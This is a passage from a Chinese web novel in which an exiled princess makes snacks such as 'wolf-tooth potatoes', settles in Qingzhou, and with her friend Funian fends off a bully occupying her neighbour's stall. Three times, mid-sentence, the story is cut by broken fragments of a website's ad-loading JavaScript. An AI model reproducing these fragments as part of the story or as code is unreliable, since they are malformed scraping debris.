不对,是真的不晒了。 她意识到反常,抬睫,才发现一片阴影正罩在自己面前,太阳都被遮没了一半。再定睛看去,面前背手站着一个老头,身着紫服,腰挂金鱼袋,头顶的六梁冠要把脑袋压扁了。 老头正眯着眼睛打量她,见她睁眼,这才皱起川字眉,咳嗽一声:“二殿下是犯了什么错处,竟被罚跪在此。” 盛时云见他衣冠济济,估摸着官职不低,虽然不知道老头的意图,还是忍了又忍,温声回答道:“并非犯了错处,是皇后娘娘提点我,要戒骄戒躁、孝顺父皇。”她知道自己不受待见,干脆将姿态摆得低一点,少惹点事。 “皇后确有慈母之心啊,二殿下。”老头点了点头,犹自说道,“虽是公主,也不能轻佻浮薄,一切都要以天下为先。” 这人以为自己是谁,和皇后穿一条裤子的。没事找事,还教育上她了? 盛时云牙齿磨了磨腮肉,掀起眼眸,声音依然温吞:“本宫的事自有父皇母后操心,大人未免高看了自己一些。” 虽然表面和气,但这话的言下之意是把他往不敬的方向推,老头怎么会听不出来,表情阴沉,瞋目剜了她一眼:“忠言逆耳,二殿下竟连这个道理都不知。” “道理是知道的,但是大人说的话未必是忠言。” 言官最忌讳别人说自己不忠,他似乎没想到盛时云会这样顶撞自己。 背在身后的手回到前面,从袖子里探出才露了一截象笏,火冒三丈地像是要打人。 老头到底是个斯文人,象笏到底没有落下,嘴唇哆嗦了片刻,只吐出四个字:“寡廉鲜耻!”声如洪钟,怕是再举个喇叭,能叫大殿里的靖崇帝都听着。 “若天底下都是二殿下这样的处世为人,那……” “谢阁老。” 他话没说完就被打断,哽了一下。转头望去,离两人几步远的地方不知什么时候停了一乘官轿。 按说朝臣进宫,是不允许乘轿的。盛时云不禁对轿撵内坐着的那人产生了好奇。她面颊上的不快还未消散,游转目光到轿子上细细打量了一番。 轿顶盖着枣红的云纹绸缎,但年岁经久,已经磨损掉色,帷帐苍黑,平添肃杀之感,抬轿的四个轿夫魁梧奇伟,手掌大如碗盆,攥起来一拳能打死一个人。 “呀!北郡侯!”原本满脸怒容的谢明智,胡子一抖,换上了副笑模样。谢明智按官阶和资历,都比北郡侯高上许多,但在四个轿夫的衬托下,显得逊顺不少,“最近刚回京,可还适应吗?” 轿中人未露面,先递来一声轻笑,温润却混着些疲惫的嘶哑:“本侯一切都好。阁老日理万机,何故找一个小姑娘的麻烦。” 谢阁老?那岂不是谢家的老爷子,也就是盛时云原本要嫁的那个谢晖的祖父。盛时云不自在地抿抿唇,顿时明白了他巴巴过来找茬的原因。 而轿中的那位,正是大周将门世家的北郡侯,常年戍守塞北,据说长相丰神俊朗,风姿日下无双。这次难得回京,引得京中贵女们钻破脑袋,想一睹风采,却被他一一回绝了去。 两尊大佛都是朝廷上炙手可热的人物。更听说,他俩政见相左,彼此互相看不顺眼。神仙打架,盛时云生怕自己被误伤,缩了缩肩膀,努力降低存在感。 谢明智被人抓了小辫子,他自己似乎也觉得有失风度,面上泛青,转移了话题:“二殿下受了责罚,老朽问问是怎么回事。侯爷怎么还坐着轿子,腿疾没好吗?” “骨头断了,好不了那么快。”北郡侯端稳的声音传来,云淡风轻得像是在说别人的事,“原来是二殿下,臣腿疾未愈,不便下轿行礼了。” 盛时云挪了挪膝盖,点点头:“无妨。” “日头这么晒,冀西山,你去把本侯的伞递给二殿下打着。”话音落,那个叫冀西山的人闻声而动,从轿撵上取来伞,交到盛时云手里。 盛时云被太阳晒得头昏脑涨不说,还要听谢明智吹胡子瞪眼,早就难受得浑身发麻,听说能打伞,她精神一振,赶紧乐呵呵地道谢。 相比谢阁老,这个北郡侯真是好心眼,难怪讨人喜欢。只是她刚要接伞,忽然觉得后脖子凉飕飕的,盛时云一转头,发现花袖正怨念地往她的方向看过来。 盛时云猛然想起皇后临走时和花袖絮叨的几句话。大公主的驸马人选正是眼前这位北郡侯。她心寒胆落,到嘴边的话咽了下去,伸出去要接伞的纤手一转,立起来往前推,拒绝道:“不必了,本宫再跪一会儿还要去皇后娘娘宫中,拿着伞不方便。” “谢过侯爷好意。” 谢明智看热闹地哼笑了一声,踱步到轿子旁边:“打胡人的时候也没见北郡侯有这种善心。不提别的了,既然侯爷今天有空,不如到老朽府上喝一杯……” 之后的话盛时云没再多听,只能全神贯注地祈祷花袖别再闹出什么幺蛾子。那俩人也并未驻足太久,可能说的话全是机要,不便在大庭广众之下谋划。 两位神仙走后,花袖这才有胆子凑过来。 她把北郡侯递伞的举动牢牢记在脑子里,红着眼睛不讲理地跺脚嚷道:“二殿下,您都要出宫了,为何还要挡大殿下的姻缘呐!”嚷完,转身向皇后宫里跑去。 盛时云有口难言,半句话没来得及说,就眼睁睁看着宫女脚下生风,如同踩了风火轮跑远。想追,腿疼。 北郡侯跟谢阁老阴阳怪气,关她什么事? 城门失火,殃及池鱼。 两个时辰结束,盛时云的两条腿疼得都没了知觉,正踉踉跄跄走回寝殿,听到宫人们已经把方才的这点事议论了个遍。 花袖果然回去打了小报告,拐弯抹角地说盛时云不安分。皇后知道此事也不过冷冷一笑,断定她在宫外活不过半月就得饿死,不慌不忙地又添了一把火。 “听说了吗,大殿下没见到北郡侯,去陛下那哭闹。说是二殿下狐媚勾引,非要陛下惩处她,要把赏下来的白银都收回去。” “都收回去?那二殿下岂不是真成了庶人。……要照我说,像北郡侯这种男子,天底下能有几个?二殿下实在配不上人家。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男人哪有赚钱香。声音随风而散,盛时云自动挑了有关白银的事情侧耳。一路走下来,她发现自己开食肆的美好设想,跟掉在地上的镜子一样,碎得很彻底。 做生意不能没有启动资金,从靖崇帝手里薅不到银子,盛时云就得自己想办法。她皱着眉头回到住处,梳妆匣里面的首饰屈指可数。除了一支素银梅花簪,最贵的就是那对镶嵌红宝石的耳坠。 即便她情绪稳定,此刻也禁不住心烦意乱地托腮,拿起毛笔在纸上写写画画,计算着自己需要的东西。 盛时云现在摆明了要被扔出去,方才嚼舌根的宫人见她走近也权当看不着。若是想提前叫人出去帮忙置办,应当不太可能。局限太多,食肆做不了,只能做个小吃摊。 还好,上辈子盛时云为了拍视频,在夜市上摆过一个月的小摊,因此汇总起做小吃摊要准备好的物什,也还得心应手。 算上推车、油纸伞、锅灶,以及五谷杂粮、蔬菜荤腥……看着不起眼,但总汇到一起却是一笔不小的开销。也不知道用这两个首饰,能不能把东西置办齐全。 她忙活起来,先把要带走的东西打包好,再走去小厨房给自己找些吃的。为了给靖崇帝炸鸡腿,原本就不多的调料,基本上都只剩下一个底,就连窗台上的蒜苗还没发出新芽来。 盛时云翻了翻,看到那天侍卫们另外送来的五颗土豆。 表皮上全是粗糙麻点,颜色棕黄,一看就是纯正的沙土种植。 把土豆放在手心掂掂,秉持着当红美食博主的敏锐,灵光一现,她忽然想起了现代的网红小吃——狼牙土豆。 手头上没有特制刀,就用菜刀切成大小一致的薯条,放到盐水里泡上片刻。接着铁锅烧油,把泡好的薯条下锅炸制。 这一步最考验厨师的手法,油温油湿都要牢牢掌握。 经过烹炸,出锅的薯条冒着热气,外皮微微绷起,油润润的堆在一起,像一盘小金条。 土豆炸好,盛时云就着厨房里的这些调料,盐巴一勺、麻椒面一勺,腐乳汁三勺,搅拌均匀,倒在薯条中。再切上葱花、香菜,轻轻翻拌。 盛时云尝了一口,觉得还不错。 若是加上折耳根、花生碎,更能提升鲜味。 一份狼牙土豆,原材料随处可见,成本不高。既能让人吃饱,又能让人解馋。甚好甚好。 刚装盘,陈裕拿着圣旨正进门。大公主吵闹过后,靖崇帝头疼心烦,根本没打算再见盛时云一面,只遣了陈裕来念圣旨,叫她明日一早就启程前往“封地”落户。 他原本就对靖崇帝那五个鸡腿念念不忘,闻到狼牙土豆的香味,赶紧快走了几步,抻着脖子看过去,问道:“二殿下又做什么好吃的呢?” 盛时云这一天过得格外不顺心,实在懒得正眼瞧他,有气无力道:“一点小玩意,入不得公公的眼。” 宫里的所有事都逃不过总管大太监的耳朵,陈裕看多了恃强凌弱的事,只要没触及到他的利益,就当没事人。眼下陈裕想讨吃的,自然油腔滑调地笑脸相迎。 “以后二殿下去民间做生意,奴才就难时时捧场了。以您的手艺和能耐,那还不是四海兴隆。”陈裕把一两银子放在桌上,心思活络,“奴才想讨个彩头,当您第一个食客。” 盛时云最缺钱,他投其所好,必定能将美食收入囊中。 没想到盛时云抬了抬眼,拿了双筷子,没理他。 陈裕愣住了,摸摸荷包,又从里面掏出来几粒碎银:“诶呀,您看,奴才刚少摸了一两……” 盛时云又拿了个碗,还是没理人。 陈裕有点急了,把荷包从腰间取下来,翻给她看:“奴才今天就拿了五两银子,二殿下,您可怜可怜奴才……” 最后,半份狼牙土豆以五两银子成交。 每根土豆条上都裹满了料汁,辣中带酥,酥里含软。香味被热气激发,十分勾人心魄。陈裕原本还在暗骂无奸不商,一口下去,心满意足,竟然觉得五两银子不亏。 “公公好大方。本宫现在最缺的就是银子,以后公公来本宫的摊子上,开销一律免单。”盛时云心里舒服了点,终于露了笑容,把人请到座位上来吃。 “得嘞。”陈裕没含糊,往嘴里塞了几根薯条,酥酥脆脆的口感,油而不腻,心情不错,往前倾身,“二殿下,奴才再和您透个底。您这事啊,势头不小。咱们大殿下一闹,京城里的姑娘们也都知道了。” “伏念姑娘现在好像也要动身往青州去。” 5. 葱油拌面 从京城到青州,路程整整五日。 盛时云多了个心眼,提前烙了几张葱油饼,又将小厨房里大部分的食材全都打包带走。 一路上风餐露宿,她叫人在野外支起一口铁锅,把做好的吃食分给车夫兵卒。甚至有天碰巧打到了一只野兔,盛时云将肉剔在锅里,只放了些姜,就让众人暖融融地喝上了兔肉汤。 喝了汤,又吃了热乎的葱油饼,有人倚着瘦马高唱起家乡民谣,地阔天长,在旷野篝火旁好不快活。 几日后,待随车的线人都返回了京城,路上的经历都被传达到皇后和大公主的耳朵里。 大公主知晓到宫外生活如此盎然,竟也生出旖思,撇着嘴打起出宫的主意,三天一小闹、五天一大闹,连一直心心念念要登门的北郡侯府都不去了,只想出门见世面。 吴皇后本来得意洋洋地以为盛时云这个娇气公主要被扒一层皮,结果听到的却是他们口中的种种趣事,雍容的脸阴沉下来。又见女儿这样不争气地闹腾,当即气急败坏地掀了桌子,命人封锁宫外的其他消息,免得自家乖女儿学坏学野。 为了防止引起百姓的揣测,盛时云在青州城门外,就下了马车改换脚程。道别了护送的兵卒,盛时云好不容易找到了自己的住处,进了屋忙不吝地打扫屋子。等到安居下来,已经临近亥时。 这间房屋并不和盛时云想象的那样破败。墙壁厚实,内里整洁,门口还有一个院落,院子左边是一口井,空置的土地能种菜养花。对门有家邻居,再往城中走,就是一条市集,人来人往,倒也繁华。 皇家办事真是体面。盛时云刷牙洗脸,将床铺铺软,一头栽进被窝里放松地伸了伸腰。 累了好几天,盛时云原本困得眼睛都睁不开,躺到床上,却头脑清醒地望着天花板。 陈裕在宫里提到的伏念,是原主的闺中好友。因为家中行医,常常随父远游,见过无数山川江流,性子自由洒脱。 两人相识是因为原主的一次生病。那时宫里一位妃子突发急症,御医人手不足,先舍了原主,一股脑扎去妃子宫里诊治。恰逢伏念的父亲在京城坐诊,就被出来寻医的小太监请到了宫里。 伏念跟着父亲在原主身边守了几日,两个小姑娘格外投机,临别时依依不舍,至今还在互通书信。 两人一个在宫内,一个在宫外,难以时时见面,却情谊匪浅。现在盛时云能够出宫谋生,伏念打心底高兴,一得到消息,就等不及从父亲坐诊的地方前来看望。 原主上辈子最幸福的事情,应当就是交到了伏念这个好友。盛时云翻了个身,闭上眼睛,十分期待与伏念的见面。 第二日。 盛时云一大早,拿着自己的两个首饰,先进了当铺。 按理说宫里的东西,再怎么不值钱,一旦沾上“皇上”两字,也能得个高价。但盛时云不想让人知道自己的身份,到了青州,她就是青州的百姓,权当自己的簪子耳坠是普通的物件。 当铺老板给了她八两银子,算上从陈裕那赚来的,她手里一共十三两。打点、置办外加日常生活,已经足够了。 有了银子,还得采买做小吃摊用到的东西。 盛时云在一个早点摊上吃了两个包子。沿街观察,发现每家小摊都有配有一个推车,打听一番后,找到了一家木匠铺。这家木匠铺制作的桌椅、衣柜,材料精良,看着就敦实。 扫了一圈,盛时云发现了在店内放着的推车,上面撑着四根木柱可以挂招牌,下面挂着四个轮子可以推动,案板地方撑一口铁板最合适,下面还有几个置物用的抽屉。 她半点没犹豫,付出几两将推车拿下。 有了推车,盛时云解放双手,米面粮油、锅碗瓢盆、铁铲铁板,甚至调料盒,她都一一考虑到了。堆放在推车上,东西多得几乎淹没了她的头顶。 即便如此,盛时云不仅不觉得累,甚至还觉得越来越有干劲。 做狼牙土豆最特别的是那把特制刀。盛时云早就在马车上将菜刀的图纸画了出来。她不慌不忙地走进一家铁铺,递过图纸描述着自己的要求。 特制刀的价格赶上推车的三分之二。付过定金,她手里只剩下六两。最后一件事,就是去菜市上选购食材。 青州在京城的南边,有烟雨江南的感觉。盛时云上辈子在南方上过大学,觉得两者气候类似,还挺舒服。 先把推车送回家。再出门时,盛时云挎上了一个大菜筐,头发用帕子裹好,白白净净的,俨然已经适应了青州城的生活。 南方气温高、湿度也高,不能像北方一样,一次能买一麻袋的蔬菜,怎么放也不会坏。更别提,这是要卖出去的小吃,食材的新鲜最为重要。 秉持着现吃现买的原则。盛时云站定在一个老婆婆的摊位面前,称了十个土豆。这家的土豆上面还带着土,澄黄匀称。古代没有农药和催熟剂,实在是绿色健康。 “妮子一个人能背动吗?”老婆婆把土豆放进菜筐里,慈眉善目地呵呵笑着,“我要是有你这样的闺女就好了,多能干。” 盛时云长得就乖巧伶俐,闻言笑笑:“我不是买给家里,是要做点小吃生意。”她逛过菜摊,只这一家的土豆色泽最好,所以开口道,“您每隔一日能不能给我留出来八斤?” “那肯定好啊。你放心,咱们家土豆绝对好吃。”老婆婆碰见了生意,笑得合不拢嘴,“你什么时候要,叫我儿子给你送过去。” “明天就要。”盛时云擦擦额头的汗,“那就多谢婆婆了。” 回家时,盛时云的菜筐已经满满当当。 除去土豆、应季的蔬菜,还有辣椒八角、小葱香菜等调料,以及一大把折耳根。 古代人称折耳根为蕺菜。因为南方有吃折耳根的习惯,盛时云特意留意了一眼,没想到真被她买到了。 折耳根堪称狼牙土豆的灵魂。 但这东西和香菜一样,爱吃的人欲罢不能,不爱吃的人深恶痛绝。盛时云决定把切碎的折耳根单独放在一个盒里,随顾客心意添加。 忙完这些事,又差不多到了下午,晚上还得去夜市瞧瞧摊位。盛时云摸摸自己早就瘪了的肚子,先给自己做了份葱油拌面。 院里的水井跟皇宫里的一样,昨天晚上盛时云没忘了打水上来,把水缸灌满,累得肩膀酸痛。想要改成压水井,目前来说还腾不出手来。 取来新买的面粉,倒水和成面团。再把面团擀平,切成细密的面条。盛时云往上面又撒了点面粉,手指拎起面条,抖了抖,根根分明落在案板上,下水煮熟。 小葱洗净,麻利地“咔咔”切成葱段,葱白舍去,只留葱叶。锅里的油烧冒白烟,巧手一翻,把切好的葱叶下到锅内,不出一会儿,葱叶由翠绿转为焦黄,筷子捞出干葱,在剩下的葱油里点些酱油和白糖。 热油噼啪作响,盛时云就像不怕烫一般,拿着筷子在锅里不断搅动,将调料搅拌均匀。最后一步,下入小海米提鲜。 煮好的面条过了冷水,变得劲道软滑。葱油鲜香,裹在面条上透出莹润的酱色。盛时云香喷喷地吃了一大碗,舒适地叹气一声,短暂地休憩在院子里晒太阳。 胃里面消化得差不多了,盛时云从凳子上站起。重新走到锅灶旁边,把菜筐里土豆都拿出来,仔细洗干净。 她按照先前的步骤,将土豆炸好,调了香辣和糖醋口味的酱汁分别浇拌在上面。分成两小份,用油纸包好,再在食盒里放上竹签,推门拎了出去。 这家住的是一对夫妻,膝下有一个女儿。盛时云分两种酱汁的用意就在此处,小孩嗜甜,吃不了辣的,但是大人则更爱一些辣爽口味。 古代很重邻里关系。盛时云一开始就考虑到,远亲不如近邻,自己要和对面的邻居处好关系,出于礼貌,也应该主动上门打声招呼。 两份狼牙土豆就是上门礼。 她到了门口,敲门道:“阿姐在家吗?” 昨天傍晚盛时云进屋时,收拾东西的动静不小。这家的媳妇探头往外瞧,两人曾打过一个照面。 没多久,听见屋内应了一声,院子门开了。一个年轻妇人走出来,在围裙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上揩手,热情招呼道:“呀,你是昨天新搬进来的盛小娘子吧。快进来。” 妇人叫冯桃,眼睛很大,有股子市井的淳朴劲儿。见了盛时云,上上下下打量了一番,满眼都是喜欢:“上午还想着给你家送点鸡蛋,结果过去一敲门,没人。” “我初来乍到,也没什么能拿的出手的,做了点拿手菜,给阿姐家都尝尝。”盛时云把食盒递过去,言笑晏晏,“上午去置办了点东西,没在家。一会儿也得出去一趟,就先不进屋了。” “这是什么神仙吃的,真香。”冯桃接过食盒,闻到里面飘来的香味,不禁咽了咽口水,打趣道,“不仅是个忙人,手艺还不错。” 盛时云在宫外自在许多,客套了几句,拉起家常。 出门在外,身份都是自己给的。在皇宫时,原主本就受尽苛待,腮上没有几两肉,眼睛圆得像只小鹿,走起路来更是纤腰楚楚,甚至盛时云在提水时都觉得胸闷气短,身体素质不能跟上辈子相比。 因此,她把自己家破人亡的说辞告诉冯桃,冯桃不疑有他,搂着她的肩膀不停地拍:“可怜姑娘,有什么难处就和阿姐说,咱们住一个街坊,互相帮衬都是应该的。” 原本就是无所依傍,和家破人亡也没什么两样。 自从穿到大周之后,盛时云就自己一个人摸爬滚打,遇到冯桃现下把她当妹妹般安慰。亲情难得,盛时云被哄得鼻子发酸。 她拉住冯桃的手,还记得正事,于是问道:“多谢阿姐,不瞒你说。我打北边刚来青州,孑然一身,想做点买卖,正打算拿这道菜上街摆摊赚点银子,不知道城里哪条街最合适。” “你要摆摊?”冯桃捏不够她软乎乎的手,转着眼睛寻思,“这边最近的有一条三仙街,算是青州最繁华的街道,前面有个魁星庙,一到节日更红火。” “摆食摊那么累,你一个小姑娘能吃的消吗?” “自然能。”盛时云点点头,用手指敲了敲食盒,“冯阿姐快回去尝尝,凉了就不好吃了。” 送走了盛时云,冯桃轻轻叹口气,目光投给躲在门缝边的小女儿乔乔,拨弄了一把小丫头的双丫髻,晃晃手里的食盒:“去叫你爹,咱们吃饭了。” 她把盛时云送来的狼牙土豆摆上桌,令拿着汗巾的赵大顺眼睛亮了亮,他刚从后院劈柴过来,两把擦干脑门上的汗珠子,伸手捏了块香辣味的土豆。 “欸——”赵大顺嚼了嚼,辣酥酥的香味先沾在了舌头上,让他猛抽几口凉气,再入口的上鲜辣香酥,对于不常吃肉的平民百姓来说,这几口的土豆已经足够解馋。 “这哪来的新鲜玩意,之前没吃过。”他落座在桌前,不忘给女儿递过去两块糖醋的,“你又上街买菜去了?” “不是。”冯桃把碗递给他。这次她把每个人碗里的饭都盛少了些,盛时云送来的狼牙土豆分量不小,甚至可以让人吃饱,“对面那个新搬来的盛小娘子,她刚才来串门送的,说是自己做的。” “这么好的手艺,家里夫君可有福了。”赵大顺自然而然以为盛时云和冯桃年纪差不多,但他是个宠媳妇的,赶紧夹了一筷子冯桃炒的豆角,“人家再怎么有福,也比不上我有福。” 冯桃笑道:“不是,我瞧着她年纪不大,说是家里没人了,自己出来做点买卖。”她把女儿抱到腿上,喂饭,说出在心里盘算了半天的事,“我寻思着,半个月之后你要去码头运货,咱家在三仙街旁边那个摊位,不然就租给她,卖个顺水人情。” 三仙街摊位难求,之前还是赵大顺托人弄来的。赵大顺原本在那跟冯桃做布料生意,后来冯桃怀孕生下女儿,赵家公婆颇有些重男轻女,不愿带孙女。两个人外加一个孩子,就更忙不过来。 他又找了个码头营生,待遇好,但就是要跟着出海。小夫妻撤了布料,把摊位租给别人。最近那人也不干了,刚好留出空位问问盛时云。 码头运货一去就是小半年,家里只剩冯桃和小乔乔。男人不在家,冯桃不免心里惴惴不安,她有心和盛时云打好关系,之后也能彼此照应着些。 6. 发面小饼 正如冯桃猜测的那样。盛时云在三仙街上逛了一圈,无功而返。 她裹了裹身上的衣服,虽然知道不可能这么顺利,但还是有些气馁,只能盘算着明天去另一条街碰碰运气。 顺着竹竿巷子往进走,古代没有路灯,全靠各家墙外的灯笼照明。不怪冯桃担心赵大顺离家,竹竿巷里比较窄小,常住的只有盛时云和赵大顺两家,因此路上漆黑一团,晚上若没有个伴,走起来还真挺吓人。 盛时云此刻心里就直打鼓,壮着胆子往回走,琢磨着下次要多拿一把防身的锤斧,好能保证安全。 走着走着,她听见一声门响,定睛看去,是赵大顺院外的木门开了,冯桃正探着脑袋招呼她。盛时云悬着的心这才放下来,迎过去打招呼。 “时云妹妹,你找到摊位没有?”冯桃性格直来直去,也不含糊,直截了当地问。她老远看见盛时云的神色,心里就有了底,“我家顺子过两天要去码头运货,家里有个空摊子没人管,你要看看不?” 这么一问,刚好敲在盛时云愁云惨淡的心头。她惊喜地快走了几步,扬声回答道:“要的,摊子在哪条街上?” “就在三仙街上。位置不赖,明天带你去看看。”冯桃暗暗舒展了眉眼,四处一望,“咱们这巷子住得人太稀,我在这好几年,平时晚上来往还得我家顺子陪着。你胆子倒是大。” “我没有阿姐这么好的福气,只能寻思找个防身的东西挂着。”盛时云在现代参加各种活动,左右逢源,对人一向笑吟吟的。听出冯桃的言下之意后,自然而然地礼尚往来,“我家摊子多亏有阿姐惦记。等赵大哥出门,阿姐有事尽管找我,我肯定全力帮忙。” “哪好意思劳烦你呀。”冯桃面上已经笑开了花,目的达成,还得客套客套,爽利道,“那行,明天你等我敲门,咱们趁早集去我摊子上看看。” 盛时云心心念念了一天的事顺利解决,全身都轻盈了不少。两人互相道了别,转身进到自家院子里,想到了另一件事。 冯桃说得很对,竹竿巷一到晚上确实不太安全,尤其是在规制还未健全的古代。虽然大周百姓十分开化,并不像她印象里的古人那样重视男女大防,但女人受到伤害多半还是叫天不应,叫地难鸣。 “抽空得养只小狗。” 盛时云撑起一盏灯,借着灯光把院子简单打扫了一遍,又进了厨房琢磨着做些吃的。 明天事忙。早上要跟冯桃看摊位,下午等送土豆的来了之后,估摸着伏念的马车也差不多到了,她得早些回来做些好饭菜待客。 今天时间不早了,盛时云简单给自己准备了一道快手菜。 从盆里取出一块傍晚新发酵的面团,放在面板上轻揉几下。再把面团揪成小块贴在锅里。做法很像东北地区的贴饼子,但这些面团白软可爱,口感也更加蓬松,适合消化。 晚上少食,盛时云只贴了一个拳头大的饼。剩下面团的封存起来放在阴凉地,等明天早上现做几个和冯桃一起吃。 面团中间打一个鸡蛋,撒上葱花和腊肉丁,小火焖煎定型,用锅铲轻轻翻面,直到上面泛起一层金黄色的锅巴,就算做成。 这样做出来的发面饼,外壳酥脆喷香,里面松软可口。盛时云早就饿得肚子咕咕叫,新出锅的小饼散着热气。她咬了一大口,烫得跺了跺脚,心里暖烘烘的很满足。 一大早天还蒙蒙亮,依稀传来几声燕子啁啾。空气里混着一丝雾气,神清气爽。盛时云刚换下厨房穿的衣服,就听到门口冯桃的声音。 盛时云忙不吝过去开门,见门后冯桃穿了件烟粉色的襦裙,乐呵呵地招手:“盛妹妹,你昨晚是不是又做好吃的了?香得我家乔乔半宿没睡着觉。乔乔,快叫时云小姨。” 小乔乔被亲娘拍了几下背脊,这才从后面探出头来,怯生生地瞧了瞧盛时云,软软开口:“时云小姨好。” 小丫头看起来也就三四岁,小脸肉乎乎的,和冯桃好像一个模子里刻出来。她性格安静腼腆,却一动不动地瞧着盛时云,短小的手指吃进嘴里:“小姨真好看。” 盛时云笑弯了眼睛,赶紧揉了揉她的头,哄道:“乔乔好乖,看小姨给你变出什么来了!”她反手从身后拿出几个油纸包好的发面饼,递了一个小的给乔乔,剩下的几个都送到冯桃手里。 冯桃“哎呦”一声,赶紧接过,小饼的温度有些烫,一看就是刚出锅的,味道和昨晚的香气一模一样! “好吃哒,好吃哒!”乔乔扑闪的大眼睛亮晶晶的,张大嘴咬了一口,看着冯桃含糊不清道,“阿娘!有鸡蛋!” “慢点吃,小心烫。”冯桃帮乔乔把油纸拨开,自己也吃了一口,惊讶地看着里面的蛋黄和腊肉,忍不住放慢了咀嚼的速度,“盛妹妹,总在你这吃到好东西,实在有点不好意思。” 鸡蛋对普通人家来说算个荤菜,更别提又加鸡蛋又加肉了,实在算是稀罕。 “不是给你的,是给乔乔的。”母女俩吃小饼的功夫,盛时云把自己的头头发简单挽好,关了院子门,嗔道,“冯阿姐一家帮我这么大的忙,我也没什么可回报的,再这么说可就生分了。” 三人一路走一路逛,伴着小乔乔童稚的欢笑,盛时云心里都被填满了。天气晴好,人也欣然自喜。早市上人来人往,周边好不热闹,其中不乏买早点的摊位。 刚吃过盛时云的小饼,冯桃闻着那些蒸汽味,怎么闻怎么不得劲。她最爱捏盛时云的手,现在又捏了几下,问道:“盛妹妹,你从哪学的做饭的手艺?这两下子,给皇帝老子吃两口,他都得夸你。” 盛时云抿抿嘴,寻思自己还真被皇帝老子夸过。但这话她自然不能说,只打哈哈道:“从小就被我娘撵着做饭,时间长了就好吃了。” “上次你做的那个土豆,味道真不赖。我家那口子一个人就吃了多半盘,让我问问你有没有什么秘方。” 狼牙土豆是盛时云要出去摆摊的吃食,做法不能外传。这么问,就有些故意打听的嫌疑。盛时云撤下挽着冯桃胳膊的手,不动声色:“那个不行。但是今天这个发面饼的做饭,可以教给姐姐。” 冯桃也自觉说错了话,转移了话题,讷讷应声。 说话间,两人已经走到冯桃家的布摊前。但奇怪的是,摊位上并不像和冯桃说的空无一人,而是站着一个光膀子的大汉正在做生意。 她看了冯桃一眼,没想到冯桃也满脸疑惑。难怪盛时云昨晚回忆了半天,也没回忆出三仙街上空置的摊位,原来是还被人占着。 “他没给我家交租子呀。”冯桃拽紧了乔乔,无措地看向盛时云,“前两天顺子忙码头,没往布摊这里跑,怎么一个不注意就叫人占上了。” 摊上的那个汉子叫钱壮,身形彪悍,挂着一脸的络腮胡,看着就是个不好惹的角色。他在赵家布摊上卖了这么久的货,街坊邻居却不敢告诉赵家一声,足见这恶霸有多唬人。 看摊子的过程一波三折,盛时云着实头疼。乔乔还在旁边懵懂地站着,现在起冲突怕是会吓到孩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,扯了扯冯桃的衣袖,劝道:“倒也不急于一时,等顺子哥有空来讨就是了。” 可话还没说完,一转头,冯桃就和钱壮碰了个对眼。 钱壮占着赵家的摊子,自然知道谁是赵家人。两个年轻女人站在路当中,本就引人注目,赶上现在摊前没客,钱壮咧开嘴,粗犷地喊了一声:“哎哟,这不是顺子媳妇吗,来看看摊?” 他虎视眈眈地从摊位后面绕出来,迈着阔步走到两人面前,打量了盛时云一眼:“这是从哪来的小美人,平常没在街上见过。”说着,伸手就要摸上盛时云的肩膀。 事已至此,盛时云躲开钱壮伸来的手,秀眉立起,厌恶地呵斥道:“光天化日之下,你干什么?” “装什么装。”钱壮睨她一眼,转向冯桃,“之前要找你家顺子,没找到。先借着你家布摊用用,反正顺子要出海几个月,家里都管不上就别提这了。桃儿,你让顺子放心,他不在家,哥哥我肯定照顾你。” 他嬉皮笑脸的模样,油腻又猥琐。冯桃打了个寒颤,好像真的想到了顺子走后自己的处境,声音都夹带了哭腔:“你个臭无赖,不要脸!占着我家摊子不走,还要强抢民女吗?” 钱壮嬉皮笑脸,一把捉住冯桃的手,冯桃惊恐地尖叫一声,猛然向后退去,被盛时云护在身后。小乔乔吓得哭起来。 身边围了一群人,但大家都畏惧钱壮的势力,没有一个人敢上前。听说他背靠官老爷,就算闹到官府去也能被保释出来。人人都有一大家子要养活,何必得罪这么一号难缠的人物。 刚才的空档,盛时云从隔壁摊旁找了一把扫帚攥在手中,她额角也紧张地冒了一层冷汗,咬牙霍然向前一挥,扫帚棍砸在钱壮脑袋上,她怒斥道:“少给我动手动脚的。” 钱壮没想到这小女子真能打到自己,这棍子实实在在,打得他着实眼冒金星了,凶狠地瞪眼看去,又被盛时云拿着扫帚打中了肩膀。 这下可激怒了他,钱壮忍痛低吼了一声,怒目圆睁地张起胳膊想要扑向盛时云。千钧一发之时—— “砰!” 一声巨响之后,钱壮两眼翻白,浑身卸了力,直接摔在地上。狗熊一样的男人轰然倒地之后,露出身后一张白净的脸,怀里抱着一个比她还高的长板凳,潇洒拨弄了一下头发,得意道:“花架子一个。” 就是这个长板凳砸晕了钱壮,看热闹的百姓不禁叫好,冯桃也抹了眼泪瞠目结舌。盛时云定睛看过去,这个抱着板凳的侠女,不就是原主的好友伏念吗! “伏念,你这么早就到青州了?”盛时云扔下扫帚,惊喜地上前拉住女孩的手,放在眼前反复看,“刚才没受伤吧。” 原主将伏念看作生命中最关心自己的人,两个小姑娘年少时的至亲关系,在原主的记忆里画上深刻的一笔。因此,现在的盛时云一见伏念,心里顿时满胀起来,仿佛是她期盼已久的见面。 “没有没有。”伏念把长板凳丢掉,一把揽住盛时云的肩头,“你放心,我搭北郡侯的马车来的。”声音不大不小,刚好灌进就近处围观百姓的耳朵。 冯桃吓得不轻,紧紧把乔乔抱在怀里,惊魂未定地看着倒在地上的钱壮,继而睁大了双眼:“北郡侯?!” 大周战神北郡侯,这个名号谁人不知、谁人不晓。 要是真惹了那位大爷,估摸着钱壮就算手眼通天,也小命难保。 听说面前这个姑娘与北郡侯相识,百姓们半信半疑,面面相觑,暗自为钱壮捏了一把汗。 7. 尖椒酿肉 赵大顺是和官府的人一起来的。 推开人群,他汗流浃背地看着妻子和女儿惊慌的模样,从冯桃手里接过还在抽泣的乔乔,哄了哄,问起事情的经过。 知道伏念和盛时云施以援手后,赵大顺又是道谢又是道歉,忙活了一阵,目光却一直没敢接触钱壮。后者被官兵们五花大绑起来,意识虽说不甚清晰,但骂骂咧咧没有停歇。 